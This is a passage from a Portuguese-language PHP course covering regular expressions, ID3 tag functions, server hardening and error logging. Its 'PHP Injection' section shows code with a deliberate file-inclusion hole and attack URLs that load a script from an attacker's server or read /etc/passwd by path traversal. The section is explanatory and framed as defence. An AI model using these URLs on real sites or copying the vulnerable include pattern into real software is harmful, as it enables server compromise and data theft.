[[:space:]] Caracteres com espaços em branco.

[a-z] caracteres do alfabeto (minúsculo).

[A-Z] caracteres do alfabeto (maiúsculo).

[a-zA-Z] caracteres do alfabeto (maiúsculo e minúsculo).

[aeiou] apenas vogais.

[^a-z] tudo menos os caracteres do alfabeto (minúsculo).

[^aeiou] - apenas consoantes O caractere ^ representa fora do intervalo das vogais. Não está

contido entre aeiou..

[^] quando tem um ^ dentro de uma lista[] ele quer dizer pra negar esses simbolos como você

viu acima [^a-z] ele nao vai aceitar qualquer palavra minuscula de a a z [a-z] se tiver sem o ^ele

vai aceitar só palavras minusculas de a a z pagar casar um caracter que é simbolo da ER você

tem que escapa-la exemplo [\^] acima será o ^mesmo e não a função para negar

um ^ fora de uma lista[] quer dizer começo e $ quer dizer fim

por exemplo se você procura por uma palavra que começe com a se pode fazer assim (^a)

exemplo:

Page 96: Curso completo php

PHP

1. [color=" red fontweight bold"]<?[/color]

2. $test = [color=" orange"]"Fabyo"[/color];

3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^a)/"[/color], $test);

4. [color=" red fontweight bold"]?>[/color]

ele ira retornar falso porque a 1 letra não é a e sim F

PHP

1. [color=" red fontweight bold"]<?[/color]

2. $test = [color=" orange"]"André"[/color];

3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^a)/"[/color], $test);

4. [color=" red fontweight bold"]?>[/color]

esse exemplo acima continuará retornando falso porque você ta buscando um a minusculo se

quiser aceitar maiusculos e minusculos você pode fazer assim:

PHP

1. [color=" red fontweight bold"]<?[/color]

2. $test = [color=" orange"]"André"[/color];

3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^[aA])/"[/color], $test);

4. [color=" red fontweight bold"]?>[/color]

ou usando um modificador i que aceita minusculas ou maiusculas

Page 97: Curso completo php

PHP

1. [color=" red fontweight bold"]<?[/color]

2. $test = [color=" orange"]"André"[/color];

3. [color=" blue"]echo[/color] preg_match([color=" orange"]"/(^a)/i"[/color], $test);

4. [color=" red fontweight bold"]?>[/color]

PHP

1. [color=" red fontweight bold"]<?[/color]

2. $test = [color=" orange"]"asp"[/color];

3. [color=" blue"]echo[/color] preg_match(sql_regcase([color="

orange"]"#(PHP|ASP)#"[/color]), $test);

4. [color=" red fontweight bold"]?>[/color]

sql_regcase -- Cria expressões regulares insensíveis a maiúsculas e minúsculas.

(PHP|ASP) o | é um or ( ou ) PHP ou ASP e o sql_regcase vai aceitar tanto minusculas como

maiusculas

e sobre ("[color="red"]#[/color](PHP|ASP)[color="red"]#[/color]") é só pra escapar a ER no

preg_match pode ser usado qualquer caracter de escape

mas tome cuidado para não usar um muito diferente ou que pode ser usado na ER

posso escapar assim: ("[color="red"]/[/color](PHP|ASP)[color="red"]/[/color]") ou

("[color="red"]~[/color](PHP|ASP)[color="red"]~[/color]") , bom pelo menos agora você vai

olhar pra ER e não vai ficar tão confuso querendo descobrir pra que serve a /, # ou ~

outro exemplo só para entender melhor:

PHP

1. [color=" red fontweight bold"]<?[/color]

2. $test = [color=" orange"]"*? teste"[/color];

Page 98: Curso completo php

3. [color=" blue"]echo[/color] preg_match([color=" orange"]"#(\*\?\s)#"[/color], $test);

4. [color=" red fontweight bold"]?>[/color]

[color="DarkBlue"]"#(\*\?\s)#"[/color] agora vamos tirar o que não interessa

[color="red"]\*\?\s[/color] as aspas é pra delimitar a string o # é pra delimitar a ER () era só

pra fazer uma sub classe entao restou só "\*\?\s ficou bem mais facil de entender não é

mesmo? o \ está escapando o * e o ? mas \s faz parte da funções do ER e ele quer dizer que

combina com caractere em branco.

$test = "*? teste"; então a função ira retornar verdadeiro pois ela tem "*? teste";

um * e ? depois um espaço e é exatamente o que a gente procurava \*\?\s

outra função

$code = preg_replace(sql_regcase( "#(\?&gt;|%&gt;)|(&lt;%|&lt;\?)(php)?#") , "<span

style='color: red; font-weight: bold;'>\\0</span>", $code );

essa função ira colorir as tags <??>, <%%> ou <?php ?> <?PHP ?>

[color="DarkBlue"]&lt;[/color] = [color="red"]<[/color] e [color="DarkBlue"]&gt;[/color] =

[color="red"]>[/color]

depois de passar pela função ira colorir as tags ficando por exemplo :[color="red"]<??>[/color]

no próximo módulo falarei mais sobre ER , explicarei mais sobre as funções da ER

e darei mais exemplos pra você não ficar tão perdido como eu ficava quando olhava uma ER.

Page 99: Curso completo php

Modulo 10

Introdução

o Expressões Regulares (E.R.) parte2

o Estudo sobre PHP Injection

o Id3 Tags MP3 e PEAR

o Funções ODBC migrando banco Access para o Mysql

o Importando emails salvo com separação de virgulas para o banco Mysql

o Função getimagesize

o Segurança

o Log de Erros

Expressões Regulares (E.R.) parte2

Os primeiros conceitos relacionados às expressões regulares surgiram no início da década de

40, num artigo que teorizava o funcionamento dos neurônios. A partir daí, nos 25 anos que se

seguiram, expressões regulares foram correntemente discutidas no contexto matemático,

onde sua teoria foi desenvolvida.

A primeira publicação sobre ERs em computadores data de 1968, num artigo de Ken

Thompson, denominado ``Regular Expression Search Algorithm''. Com base neste trabalho, ele

desenvolveu o qed, um editor que foi a base do ed, editor de texto padrão do UNIX. A idéia por

trás das ERs tomara tal dimensão que um dos comandos do ed ``g/Regular Expression/p'' que

literalmente significa ``Global Regular Expression Print'', era tão útil que ganhou seu próprio

aplicativo: o grep, que por por sua vez, teve melhoramentos e adições em suas ERs dando

origem ao egrep (extended grep).

Seguindo a filosofia das ERs, outros programas foram aparecendo e incorporando mais e mais

expressões, como o awk, o lex e o sed. Assim, para padronizar a implementação e uso das ERs

por eles, estas foram inclusas na biblioteca C básica, para qualquer programa utilizar-se delas.

O egrep, o grep, o perl e o emacs serão as ferramentas principais utilizadas para exemplificar o

uso das ERs, uma vez que estes programas são recentes e suportam ERs da forma mais limpa e

flexível, na linha de comando, sem a necessidade de escapar dos caracteres especiais. No

entanto, insistimos que nos centralizaremos no raciocínio geral da experessões regulares,

sendo que informações específicas de sintaxe devem ser retiradas das páginas dos manuais

dos programas que têm suporte para ERs.

Continuando com ER, ER é muito usando em sistemas bbcode ou highlight funções para colorir

codigos

uns exemplos usado em bbcode:

Page 100: Curso completo php

$mensagem = preg_replace("/\[b\](.*?)\[\/b\]/si", "<b>\\1</b>", $mensagem);

$mensagem = preg_replace("/\[i\](.*?)\[\/i\]/si", "<i>\\1</i>", $mensagem);

$mensagem = preg_replace("/\[u\](.*?)\[\/u\]/si", "<u>\\1</u>", $mensagem);

$mensagem = ereg_replace(":mellow:", "<img src='mellow.gif' border='0'>", $mensagem);

1 exemplo ira substituir tudo que tiver entre conteudo por <b>conteudo</b> usando as tags

html para deixar negrito o texto

2 exemplo ira substituir tudo que tiver entre conteudo por <i>conteudo</i> usando as tags

html para deixar em italico o texto

3 exemplo ira substituir tudo que tiver entre conteudo por <b>conteudo</u> usando as tags

html para criar uma lista

4 exemplo ira trocar o texto script por uma imagem relacionada a ela os famosos smiles

PHP

1. $txt = preg_replace("/[$]([a-zA-Z_])([a-zA-Z0-9_]*)/", "<span style=\"color: blue; font-

weight: bold;\">\\0</span>", $txt);

esse exemplo acima ira colorir tudo que tiver junto da $+string veja a ER se começar com

numero ela nao ira colorir

PHP

1. $txt = preg_replace("/'(.*?)'/", "<span style=\"color: red;\">\\0</span>",$txt);

esse exemplo acima ira colorir tudo que tiver entre 'string'

Referências Bibliográficas

1 Mastering Regular Expressions'', by Jeffrey E. F. Friedl; second edition, 1994, O'Reilly.

2 Expressões Regulares '', por Aurélio M. Jargas; Revista do Linux, 2000 n.o 3, Comunidade

Linux Brasileira.

3 Expressões Regulares 2'', by Aurélio M. Jargas; Revista do Linux, 2000 n.o 7, Comunidade

Linux Brasileira.

4 http://aurelio.net/er Aurélio M. Jargas

Page 101: Curso completo php

Estudo sobre PHP Injection

Hoje em dia, é comum a utilização de linguagens como o PHP para construção de portais e

sites dinâmicos em todo o mundo.

Essa técnica oferece um meio de interagir com o Web site e outros usuários, tendo um meio

de troca de informações, notícias,etc.

O maior problema desses sites dinâmicos são as diversas maneiras de se explorar o sistema.

Explorar uma brecha no sistema a partit de um site rodando arquivos PHP pode se intitular

PHP injection.

Como o próprio nome ja diz, injeção de Código em PHP, mas antes de mostrar como fazer,

vamos entender por que e como essa brecha acontece.

No PHP temos um recurso chamado include, o qual nos permite incluir um arquivo inteiro

dentro de uma página ja pronta.

É muito usado em páginas nas quais existe um layout pré-definido e o conteúdo central é

dinâmico.

exemplo 1:

<html>

<head>

</head>

<body>

<?php

include "arquivo.php";

?>

</body>

</html>

Como todo mundo sabe quando a página acima for processada pelo servidor Web, todo o

conteúdo do arquivo.php será processado pelo servidor

e colocano no exemplo 1.

Com isso vamos ao que interessa, a função include permite que façamos inclusões remotas, ou

seja poderemos incluir arquivos no código PHP, mesmo

que estes não estejam no servidor onde a página se encontra.

exemplo:

PHP

1. <?php

Page 102: Curso completo php

2. include "http://site.com.br/pagina.php";

3. ?>

O importante dessas explicações é para você saber proteger melhor seu site e se prevenir de

futuros ataques deixando seu sistema mais seguro

mas não use essas informações para tirar proveito, nem para invadir outro site, sabia que isso

é crime ,e tenha sempre a informação sobre segurança

para se proteger e aprender mais sobre segurança.

Agora vamos ver como como injetar um código malisioso na página a ser invadida.

Muitos programadores hoje não aprendem ou não dao muita importancia para segurança.

Geralmente a função include é usada para agilizar a exibição de uma página.

exemplo 2:

pagina.php

PHP

1. <html>

2. <head>

3. </head>

4. <body>

5. <?php

6. if(isset($_GET["corpo"]))

7. {

8. include $_GET["corpo"];

9. }

10. ?>

11. </body>

12. </html>

Esse exemplo acima ira incluir uma página por exemplo a arquivo.php assim que ela for

inserida pela url exemplo:

Page 103: Curso completo php

http://pagina.php?corpo=arquivo.php

para injetar um código malicioso nessa página é só fazer assim:

http://pagina.php?corpo=http://seusite.com.br/script.php

uma maneira de se proteger contra esse ataque é tirando a extensão para ser incluida

exemplo:

exemplo 3:

PHP

1. pagina.php

2. <html>

3. <head>

4. </head>

5. <body>

6. <?php

7. if(isset($_GET["corpo"]))

8. {

9. include $_GET["corpo"].".php";

10. }

11. ?>

12. </body>

13. </html>

agora essa página só aceita arquivos passados sem extensão por exemplo:

Page 104: Curso completo php

http://pagina.php?corpo=arquivo

mas ainda da para injetar um código malicioso

desse modo acima o o script do atacante seria processado no próprio servidor e passado só o

resultado para a maquina que pretende invadir

e não é isso que nós queremos, o importante é que seja processado o script do atacante no

próprio servidor da vitima.

por isso não vamos mais usar extensão .php, vamos usar qualquer outra que não seja

processada pelo servidor que vamos injetar o exploit .

Vamos usar .gif, mas pode usar qualquer outra extensão

Agora para burlar o exemplo 3 usaremos:

http://sitedavitima.com.br?corpo=http://servidor_atacante/xpl.gif?

com esse ponto de interrogação logo após xpl.gif ,conseguiremos o desejado antes de fazer a

inclusão ficaria assim :

http://sitedavitima.com.br?corpo=http://servidor_atacante/xpl.gif?.php

Tudo que tiver depois do ponto de interrogação será descartado pelo servidor do atacante

sendo possivel assim descarregar o xpl.gif para dentro do servidor alvo.

outra forma que usam o include é assim:

exemplo 4:

PHP

1. <?php

2.

3. include ("var/www/htdocs/http/".$_GET["corpo"]);

4.

5. ?>

Page 105: Curso completo php

agora não conseguiremos mais injetar nenhum script pois se tentarmos daria erro porque ele

não conseguiu achar o caminho certo

mas ainda da pra tirar alguma vantagem dessa situação se for servidor linux vamos fazer assim:

http://site_vitima.com.br?corpo=../../../etc/passwd

o include ficaria assim:

exemplo 5

PHP

1. <?php

2.

3. include ("var/www/htdocs/http/../../../etc/passwd");

4.

5. ?>

Permitindo assim ler qualquer arquivo no servidor no qual tenhamos permissão para isso.

apenas arquivo com extensão .php não conseguiremos ler

nesse diretorio fica todos os usuários do computador.

Bom vamos parar por aqui porque não quero treinar nenhum usuario para ser hacker e sim

aprender mais sobre segurança

mas fique atento sites sem proteção o atacante pode visualizar senhas e pastas que você não

esperava que ele veria

proteja seus diretorios e reescreva ses scripts para melhorar a segurança, hoje em dia o

register_globals deixou de ser setado pra on no php.ini

para off, por motivos de segurança, com o register_globals = on da para invadir sites pelo

login, injetar códigos malisiosos

muito mais facil ,resumindo register_globals = on deixa uma brecha enorme na sua segurança

é a mesma coisa você reforçar sua porta colocando cadeados

fechaduras fortes, mas a casa ta sem paredes o ladrão entra sem passar pela porta, e os

tecnicos do php aconselham a nunca mais usar o register_globals = on

Fique atento também contra sql injection , ja não vou falar dele pois vocês devem conhecer

bastante sobre isso

bons estudos.

Id3 Tags MP3 e PEAR

Page 106: Curso completo php

Para usar a função do php para manipular as tags mp3 você precisa descomentar a

linhaextension=php_id3.dll

do php.ini e reiniciar o servidor, recomendo instalar também os serviços do PEAR ,PEAR quer

dizer pêra e até seu simbolo

é a fruta pêra.

PEAR, o repositório do PHP de aplicação e extensão (originalmente, Extensão do PHP e

Repositório de Add-on) são as versões das classes da fundação do PHP, e talvez cresçam no

futuro para ser um dos caminhos principais para distribuir o PHP em ambas extensões, C e PHP

entre os desenvolvedores.

O PEAR nasceu em discussões realizadas nas PHP Developers' Meeting-PMD (Reuniões dos

Desenvolvedores do PHP-RDP) realizada em Janeiro de 2000 em Tel Aviv. Foi criada por Sitg S.

Bakken, e é dedicada à sua primeira filha, Malin Bakken.

Desde o começo de 2000, o PEAR cresceu para ser um grande, e significativo projeto com um

largo número de desenvolvedores trabalhando em executar tarefas comuns, funcionalidades

reusáveis para o benefício de toda a comunidade PHP. Hoje em dia o PEAR incluí acesso à base

de dados, cache de conteúdo, calculações matemáticas, eCommerce e muito mais.

Mais informação sobre o PEAR pode ser encontrada em http://pear.php.net/manual

Com essa função do php para manipular o mp3 você conseguirá pegar informações das

musicas mp3 como por exemplo titulo da musica nome do artista, album, genero musical, ano

do cd e número da musica.

e vai poder também editar essas informações dos arquivos .mp3

funções do php para manipular o mp3:

id3_get_genre_id -- Você fornece o nome do genero e essa função retorna o numero do

genero da musica por exemplo id3_get_genre_id("Rock") = 17

id3_get_genre_list -- Pega a lista de todos os generos e coloca um array numero e nome do

genero

id3_get_genre_name -- Você fornece o numero do genero e essa função retorna o nome do

genero da musica por exemplo id3_get_genre_id(17) = Rock

id3_get_tag -- Pega todas informações da tag mp3 e passa para um array

id3_get_version -- Pega a versão do id3

id3_remove_tag -- Remove as tags do mp3

id3_set_tag -- Atualiza as tags do mp3

Exemplo 1. id3_get_genre_id()

PHP

1. <?php

2. $id = id3_get_genre_id("Alternative");

Page 107: Curso completo php

3. echo $id;

4. ?>

Resultado: 20

Exemplo 2. id3_get_genre_list()

PHP

1. <?php

2. $genres = id3_get_genre_list();

3. print_r($genres);

4. ?>

Resultado:

Array

(

[0] => Blues

[1] => Classic Rock

[2] => Country

[3] => Dance

[4] => Disco

[5] => Funk

[6] => Grunge

[7] => Hip-Hop

[8] => Jazz

[9] => Metal

[10] => New Age

[11] => Oldies

[12] => Other

[13] => Pop

[14] => R&B

[15] => Rap

[16] => Reggae

[17] => Rock

[18] => Techno

[19] => Industrial

[20] => Alternative

[21] => Ska

Page 108: Curso completo php

[22] => Death Metal

[23] => Pranks

[24] => Soundtrack

[25] => Euro-Techno

[26] => Ambient

[27] => Trip-Hop

[28] => Vocal

[29] => Jazz+Funk

[30] => Fusion

[31] => Trance

[32] => Classical

[33] => Instrumental

[34] => Acid

[35] => House

[36] => Game

[37] => Sound Clip

[38] => Gospel

[39] => Noise

[40] => Alternative Rock

[41] => Bass

[42] => Soul

[43] => Punk

[44] => Space

[45] => Meditative

[46] => Instrumental Pop

[47] => Instrumental Rock

[48] => Ethnic

[49] => Gothic

[50] => Darkwave

[51] => Techno-Industrial

[52] => Electronic

[53] => Pop-Folk

[54] => Eurodance

[55] => Dream

[56] => Southern Rock

[57] => Comedy

[58] => Cult

[59] => Gangsta

[60] => Top 40

[61] => Christian Rap

[62] => Pop/Funk

[63] => Jungle

[64] => Native US

[65] => Cabaret

[66] => New Wave

Page 109: Curso completo php

[67] => Psychadelic

[68] => Rave

[69] => Showtunes

[70] => Trailer

[71] => Lo-Fi

[72] => Tribal

[73] => Acid Punk

[74] => Acid Jazz

[75] => Polka

[76] => Retro

[77] => Musical

[78] => Rock & Roll

[79] => Hard Rock

[80] => Folk

[81] => Folk-Rock

[82] => National Folk

[83] => Swing

[84] => Fast Fusion

[85] => Bebob

[86] => Latin

[87] => Revival

[88] => Celtic

[89] => Bluegrass

[90] => Avantgarde

[91] => Gothic Rock

[92] => Progressive Rock

[93] => Psychedelic Rock

[94] => Symphonic Rock

[95] => Slow Rock

[96] => Big Band

[97] => Chorus

[98] => Easy Listening

[99] => Acoustic

[100] => Humour

[101] => Speech

[102] => Chanson

[103] => Opera

[104] => Chamber Music

[105] => Sonata

[106] => Symphony

[107] => Booty Bass

[108] => Primus

[109] => Porn Groove

[110] => Satire

[111] => Slow Jam

Page 110: Curso completo php

[112] => Club

[113] => Tango

[114] => Samba

[115] => Folklore

[116] => Ballad

[117] => Power Ballad

[118] => Rhytmic Soul

[119] => Freestyle

[120] => Duet

[121] => Punk Rock

[122] => Drum Solo

[123] => Acapella

[124] => Euro-House

[125] => Dance Hall

[126] => Goa

[127] => Drum & Bass

[128] => Club-House

[129] => Hardcore

[130] => Terror

[131] => Indie

[132] => BritPop

[133] => Negerpunk

[134] => Polsk Punk

[135] => Beat

[136] => Christian Gangsta

[137] => Heavy Metal

[138] => Black Metal

[139] => Crossover

[140] => Contemporary C

[141] => Christian Rock

[142] => Merengue

[143] => Salsa

[144] => Thrash Metal

[145] => Anime

[146] => JPop

[147] => SynthPop

)

Exemplo 3. id3_get_genre_name()

PHP

1. <?php

2. $genre = id3_get_genre_name(20);

Page 111: Curso completo php

3. echo $genre;

4. ?>

Resultado: Alternative

Exemplo 4. id3_get_tag()

PHP

1. <?php

2. $tag = id3_get_tag( "example.mp3" );

3. print_r($tag);

4. ?>

Resultado:

Array

(

[title] => DN-38416

[artist] => Re:\Legion

[album] => Reflections

[year] => 2004

[genre] => 19

)

Nota: Essa função id3_get_tag() só suporta id3 1.0 e 1.1

Exemplo 5. id3_get_version()

PHP

1. <?php

2. $version = id3_get_version( "example.mp3" );

3. if ($version == ID3_V1_0) {

4. echo "Versao 1.x";

Page 112: Curso completo php

5. }

6. if ($version == ID3_V1_1) {

7. echo "Versao 1.1";

8. }

9. if ($version == ID3_V2) {

10. echo "Versao 2.x";

11. }

12. ?>

Exemplo 6. id3_remove_tag() example

PHP

1. <?php

2. $result = id3_remove_tag( "example.mp3", ID3_V1_0 );

3. if ($result === true) {

4. echo "Tag removida com sucesso";

5. }

6. ?>

Exemplo 7. id3_set_tag()

PHP

1. <?php

2. $data = array(

3. "title" => "Re:Start",

4. "artist" => "Re:\Legion",

5. "comment" => "A nice track"

6. );

Page 113: Curso completo php

7. $result = id3_set_tag( "example.mp3", $data, ID3_V1_0 );

8. if ($result === true) {

9. echo "Tag foi atualizada com sucesso";

10. }

11. ?>

Se quiserem conferir mais detalhes eu fiz uma função que lista só as mp3 que tiver no diretorio

e ainda tem um player para tocar as musicas, mostra o tamanho das mp3

e tem a opção de editar as tags mp3 só clicar no simbolo do lado do nome coloquei uma

imagem do winamp, esse script que eu fiz está no laboratorio de scripts

podem utilizarem ,modificarem e melhorarem, fiquem a vontade, a só lembrando essa

imagem que fica do lado do nome das mp3 no diretorio esta em mime e você vai visualizar ela

normalmente

fiz isso para não precisar de eu colocar a imagem no servidor pra download e para vocês

aprenderem mais uma novidade.

Função getimagesize

Muita gente não conhece mas essa função simples é muito util para você validar uma imagem

,e você pode também pegar as dimensões da imagem

e o tipo mime real da imagem

$size = getimagesize("foto.jpg");

resultado:

Array ( [0] => 192 [1] => 32 [2] => 1 [3] => width="192" height="32" [bits] => 8 [channels] => 3

[mime] => image/gif )

Segurança

Escondendo o PHP

Em geral, segurança por obscuridão é uma das mais fracas formas de segurança. Mas em

alguns casos, cada pequeno bit extra de segurança é desejável.

Page 114: Curso completo php

Algumas poucas técnicas simples podem ajudar a esconder o PHP, possivelmente atrasando

um invasor que está tentando descobrir fraquezas em seu sistema. Setando expose_php = off

em seu arquivo php.ini, você reduz a quantidade de informação disponível para ele.

Uma outra tática é configurar os servidores tais como apache para interpretar diferentes tipos

de arquivos através do PHP, ou com uma diretiva .htaccess, ou na própria configuração do

apache. Você pode então usar extensões de arquivos enganadoras: Escondendo PHP fazendo

parecer com outra linguagem

# Fazer o código PHP parecer com outros tipos de códigos

AddType application/x-httpd-php .asp .py .pl

Ou escondê-lo completamente: Exemplo 15-19. Usando tipos desconhecidos para extensões

do PHP

# Fazer o código PHP parecer com tipos de códigos desconhecidos

AddType application/x-httpd-php .bop .foo .133t

Ou escondê-lo no código HTML, que tem baixa chance de ser atingido porque todos os HTML

serão interpretados pelo PHP: Exemplo 15-20. Usando tipos de HTML para extensões do PHP

# Fazer todo o código parecer com HTML

AddType application/x-httpd-php .htm .html

Para este exemplo trabalhar efetivamente, você deve renomear todos os seus arquivos PHP

com as extensões acimas. Apesar dessa ser a forma de segurança através obscuridão, ela é a

medida menos preventiva e com algumas desvantagens.

Log de Erros

error_log()

error_log -- Envia uma mensagem de erro para algum lugar

Descrição

int error_log ( string mensagem [, int mensagem_type [, string destination [, string

extra_headers]]])

Envia uma mensagem de erro para o log de um servidor, para uma porta TCP ou para um

arquivo. O primeiro parâmetro, mensagem, é a mensagem de erro que deve ser logada. O

segundo parâmetro, mensagem_type diz para onde a mensagem deve ir:

Tabela 1. Tipo de logs de error_log()

0 mensagem é enviada para o sistema de log do PHP, usando o sistema de log do sistema

Page 115: Curso completo php

operacional ou para um arquivo, dependendo do que estiver definido na diretiva error_log

1 mensagem é enviado para o endereço de email em destination. Este é o unico tipo de

mensagem onde o quarto parâmetro extra_headers é usado. Este tipo de mensagem usa a

mesma função interna que a função mail() usa.

2 mensagem é enviada através de conexão de debug do PHP. Esta opção só esta disponível se

o debug remoto estiver ativado . Neste caso, o parâmetro destination define o nume do

servidor ou endereço IP e opcionalmente, o número da porta, do socket recebendo a

informação de debug.

3 mensagem é adicionada ao arquivo destination.

exemplo de como criar um arquivo de log de erro:

PHP

1. <?php

2. $data = date("d/m/Y H:i");

3. error_log($data."|".mysql_errno()."\n", 3, "erros.log");

4. ?>

será criado um arquivo com o nome de erros.log

com o conteudo:

30/04/2005 18:33|1064

data hora|numero do erro do mysql

mas você pode usar esse log de erro em qualquer sistema que você quiser

error_reporting -- Define quais erros serão reportados

A função error_reporting() define a diretiva error_reporting em tempo de execução. O PHP

tem vários níveis de erros, usando esta função você pode definir o nível durante a execução do

seu script.

error_reporting() define o nível de erros que o PHP irá reportar, e retorna o nível antigo. O

parâmetro nível pode usar um bitmask, ou constantes. É fortemente recomendado que você

use constantes para assegurar compatibilidade com futuras versões. Como níveis de erros

podem ser adicionados, o intervalo das constantes pode crescer, então os níveis de erros

indicados anteriormente por inteiros pode não funcionar como esperado.

Alguns exemplos de uso:

Page 116: Curso completo php

Exemplo 1. Exemplos error_reporting()

PHP

1. <?php

2.

3. // Desativa o relatório de todos os erros

4. error_reporting(0);

5.

6. // Reporta erros simples

7. error_reporting(E_ERROR | E_WARNING | E_PARSE);

8.

9. // Reportar E_NOTICE pode ser bom também (para reportar variáveis não iniciadas

10. // ou eros de digitação em nomes de variáveis ...)

11. error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);

12.

13. // Reportar todos os erros exceto E_NOTICE

14. // Este é o valor padrão no php.ini

15. error_reporting(E_ALL ^ E_NOTICE);

16.

17. // Reporta todos os erros (bitwise 63 deve ser usado no PHP 3)

18. error_reporting(E_ALL);

19.

20. // O mesmo que error_reporting(E_ALL);

21. ini_set ('error_reporting', E_ALL);

22.

23. ?>

24.

Page 117: Curso completo php

Tabela 1. Constantes de nível e valores de bit de error_reporting().

Valor Constante

1 E_ERROR

2 E_WARNING

4 E_PARSE

8 E_NOTICE

16 E_CORE_ERROR

32 E_CORE_WARNING

64 E_COMPILE_ERROR

128 E_COMPILE_WARNING

256 E_USER_ERROR

512 E_USER_WARNING

1024 E_USER_NOTICE

2047 E_ALL

2048 E_STRICT

Atenção

Debug remoto via TCP/IP é do PHP 3 e não esta disponível no PHP 4.

Exemplo 1. Exemplos de error_log()

PHP

1.

2. <?php

3. // Envia uma notificação para o log do servidor

4. // se não pudermos conectar ao banco de dados.

5. if (!Ora_Logon($username, $password)) {

6. error_log("Oracle database not available!", 0);

7. }

8.

9. // Avisa o administrados se nós ficarmos sem FOO

10. if (!($foo = allocate_new_foo())) {

11. error_log("Big trouble, we're all out of FOOs!", 1,

Page 118: Curso completo php

12. "[email protected]");

13. }

14.

15. // outros meios de usar calling error_log():

16. error_log("You messed up!", 2, "127.0.0.1:7000");

17. error_log("You messed up!", 2, "loghost");

18. error_log("You messed up!", 3, "/var/tmp/my-errors.log");

19. ?>

Erros e Logs

Introdução

Estas são funções para lidar com erros e logs. Elas permitem a você definir a suas próprias

regras para manusear erros, assim como para modificar a maneira com que é efetuado o log

de erros. Isto permite a você melhorar e adaptar as suas necessidades os avisos de erro.

Com as funções de log, você pode mandar mensagens diretamente para outras máquinas, para

um email (ou email para um pager), para os logs do sistema, etc, assim você pode

seletivamente logar e monitorar as partes mais importantes das suas aplicações e websites.

As funções de erro permitem você configurar quais níveis de erro devem ser reportados e o

tipo de resposta que será dado, indo desde simples avisos até as funções retornadas durante

os erros.

Requisitos

Nenhuma biblioteca externa é necessária para compilar esta extensão.

Instalação

Não há nenhuma instalação necessária para utilizar estas funções, elas fazem parte do núcleo

do PHP.

Configuração durante execução

O comportamento dessas funções podem ser modificado pelas configurações do php.ini.

Tabela 1. Opções de configurações de erros e log

Page 119: Curso completo php

Nome Padrão Modificável

error_reporting E_ALL & ~E_NOTICE PHP_INI_ALL

display_errors "1" PHP_INI_ALL

display_startup_errors "0" PHP_INI_ALL

log_errors "0" PHP_INI_ALL

log_errors_max_len "1024" PHP_INI_ALL

ignore_repeated_errors "0" PHP_INI_ALL

ignore_repeated_source "0" PHP_INI_ALL

report_memleaks "1" PHP_INI_SYSTEM

track_errors "0" PHP_INI_ALL

html_errors "1" PHP_INI_ALL

docref_root "" PHP_INI_ALL

docref_ext "" PHP_INI_ALL

error_prepend_string NULL PHP_INI_ALL

error_append_string NULL PHP_INI_ALL

error_log NULL PHP_INI_ALL

warn_plus_overloading NULL PHP_INI??

Para maiores detalhes e definição das constantes do PHP_INI_* veja ini_set().

Breve descrição das diretivas de configuração.

error_reporting integer

Define o nível de erros para reportar. O parâmetro pode ser um inteiro ou uma constante. Os

níveis de erros para reportar estão descritos em Constantes Predefinidas, e no php.ini. Para

definir em tempo de execução, use a função error_reporting(). Veja também a diretiva

display_errors.

No PHP 4 e PHP 5 o valor padrão é E_ALL & ~E_NOTICE. Esta definição não mostra erros de

nível E_NOTICE. Você deve querer mostra-los durante o desenvolvimento.

Nota: Ativando E_NOTICE durante o desenvolvimento tem alguns beneficios. Para o proposito

de eliminar erros: mensagens NOTICE irão avisar você sobre possiveis erros em seu código. Por

exemplo, o uso de valores não definidos é avisado. É extremamente útil para encontrar erros

de digitação e economisar tempo na correção de erros. As mensagens NOTICE irão avisar a

você sobre mal estilo. Por exemplo, $arr[item] é melhor que seja escrito como $arr['item'] já

que o PHP irá tratar "item" como uma constante. Se não for uma constante, o PHP irá

considerar como uma string de índice para a matriz.

Nota: No PHP 5 um novo nível de erro E_STRICT esta disponível. Já que E_STRICT não esta

incluída em E_ALL você deve explicitamente ativar este nível de erro. Ativar E_STRICT durante

o desenvolvimento tem alguns beneficios. Mensagem STRICT irão ajudar a você a utilizar o

metodo mais recente de codificação, por exemplo, avisar você sobre funções obsoletas.

Page 120: Curso completo php

No PHP 3, a definição padrão é (E_ERROR | E_WARNING | E_PARSE), indicando a mesma coisa.

Note, entretanto, desde que constantes não são suportadas no php3.ini do PHP 3, a definição

do nível de erros para reportar deve ser númerica, neste caso 7.

display_errors boolean

Isto determina quando os erros devem ser mostrados como parte da saída ou se devem ser

escondidos do usuário.

Nota: Isto serve para suportar o seu desenvolvimento e nunca deve ser usado em sistemas de

produção (ex. sistemas conectados a internet).

display_startup_errors boolean

Mesmo quando display_errors esta em on, erros que aconteçam durante a inicialização do

PHP não são mostrados. É fortemente recomendado manter display_startup_errors em off,

exceto para procurar erros.

log_errors boolean

Indica se as mensagens de erro do script devem ficar no log de erros do servidor ou em

error_log. Esta opção depende do servidor.

Nota: Você é fortemente avisado para usar o log de erros ao invés de mostra-los em web sites

de produção.

log_errors_max_len integer

Define o limite de tamanho da mensagem de erro para logar em bytes. Em error_log é

adicionada informação sobre a fonte. O padrão é 1024 e 0 permite que não seja estabelecido

nenhum limite.

ignore_repeated_errors boolean

Não loga mensagens repetidas. Erros repetidos devem acontecer no mesmo arquivo na

mesma linha enquanto ignore_repeated_source estiver em true.

ignore_repeated_source boolean

Ignora a fonte da mensagem quando estiver ignorando mensagens repetidos. Quando esta

definição ON não irá logar mensagens de erros repetidas de arquivos diferentes ou linhas

diferentes.

report_memleaks boolean

Se este parâmetro estiver em Off, quando acontecerem memory leaks não será mostrado (na

saída ou no log). Isto só tem efeito numa compilação de debug, e se error_reporting incluir

E_WARNING na lista de permitidos.

track_errors boolean

Se ativado, a última mensagem de erro sempre estará disponível na variável $php_errormsg.

Page 121: Curso completo php

html_errors boolean

Desativa as tags HTML nas mensagens de erro. O novo formato de mensagens de erro em

HTML produz mensagens que podem ser clicadas e que direcionam o usuário para uma pagina

descrevendo o erro ou a função que causou o erro. Estas referencias são afetadas por

docref_root e docref_ext.

docref_root string

O novo formato de mensagens de erro em HTML produz mensagens que podem ser clicadas e

que direcionam o usuário para uma pagina descrevendo o erro ou a função que causou o erro.

No caso de paginas de manual você pode baixar o manual na sua língua e definir esta diretiva

para a sua cópia local. Se a sua cópia local do manual podur ser acessada por '/manual/' você

pode simplesmente usar docref_root=/manual/. Adicionalmente você deve definir docref_ext

